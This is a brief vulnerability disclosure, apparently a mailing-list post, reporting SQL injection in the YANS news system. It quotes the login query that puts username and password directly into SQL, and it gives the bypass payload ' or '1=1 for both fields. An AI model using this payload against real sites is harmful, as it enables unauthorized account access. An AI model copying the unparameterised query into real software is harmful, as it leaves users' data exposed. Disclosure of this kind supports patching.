Y.A.N.S sql injection

[navairum@xxxxxxxxx]

Product: YANS (yet another news system)
Link: http://sourceforge.net/projects/yans/

vuln code:
$resultado = mysql_query("SELECT * FROM users WHERE username='$username' AND password='$password'") or die (mysql_error());
        
simple sql injection
' or '1=1
' or '1=1

-navairum